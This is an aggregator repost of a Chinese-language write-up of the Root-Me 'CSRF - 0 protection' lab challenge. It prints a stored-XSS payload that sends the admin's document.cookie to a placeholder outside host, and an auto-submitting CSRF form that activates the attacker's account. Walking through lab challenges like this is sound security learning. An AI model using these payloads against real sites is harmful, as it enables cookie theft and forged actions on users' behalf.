5

【Root-Me】 CSRF - 0 protection

 2 years ago
source link: https://exp-blog.com/safe/ctf/rootme/web-client/csrf-0-protection/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
【Root-Me】 CSRF

已经很直白提示是 CSRF 题型。

点击 Register 随意注册一个账号,如 exp,密码 123456

然后点击 Login 登录,登录后点击 Profile 切到个人档案,发现有 4 个选项卡,其中:

  • Contact : 可以发送一条消息给 admin 留言, 有个 robot-admin 会定时轮询查看
  • Profile : 激活当前账号,但是非 admin 无法操作
  • Private : 查看账号激活后信息,这就是最终目标
  • Logout : 登出,没用

很明显 Contact 就是注入点,且通过抓取 HTTP 请求发现, Email 虽然会校验格式,但是可以不填,而且也不会作为 HTTP 请求的参数发送出去,因此注入点就是 Comment 输入框。

01.png

至此,解此题有两种思路:

  • ① 使用【Web-Client : XSS - Stored 1】的思路把 admin 的 Cookie 发到我们的服务器,窃取其 Cookie 后再激活
  • ② 直接构造 CSRF 伪装 admin 的身份进行激活

首先试试第 ① 种思路,在 Contact 选项卡的 Comment 输入框构造一个 payloads 提交:

<srcipt>document.write("<img src='${HOST}?tk='"+document.cookie+" />");</srcipt>

(其中 ${HOST} 是使用 RequestBin 生成的临时 HTTP 服务器,详见【Web-Client : XSS - Stored 1】,不再赘述)

提交成功后会提示 Your message has been posted. The administrator will contact you later.

等了一会, RequestBin 服务器收到了消息,说明我们注入 XSS 成功,但是消息中并没有 admin 的 Cookie ,很可能是 Cookie 启用了 HttpOnly 的缘故,因此第 ① 种思路不可行,改用第 ② 种思路,即 CSRF。

02.png

要执行 CSRF ,即需要令 admin 在读取 Comment 的时候触发一个激活账号的 POST,因此需要先获得这个 POST 请求的格式,再构造我们期望的内容。

切到 Profile 选项卡,发现 Status 是不可用的,并且点击 submit 后提示 You're not an admin!,不过不影响我们捕获 POST 请求。

打开浏览器开发者工具,切到 Elements ,把 Status 的 disabled 属性删掉。

03.png

打开 Burp Suite -> Proxy -> HTTP history ,然后点击页面的 submit 按钮,即可捕获到激活账号的 POST 请求。

利用这个 POST 请求可以构造 payloads 如下,将其拷贝到 Contact 选项卡的 Comment 输入框提交即可:

<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
    <input type="hidden" name="username" value="exp">  <!-- 激活账号,根据实际修改  -->
    <input type="hidden" name="status" value="on">  <!-- 激活动作 -->
</form>
<script>document.csrf.submit()</script>

多刷新几次 Private 选项卡,等待 robot-admin 触发 payloads,最终得到 flag,完成挑战。

04.png

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK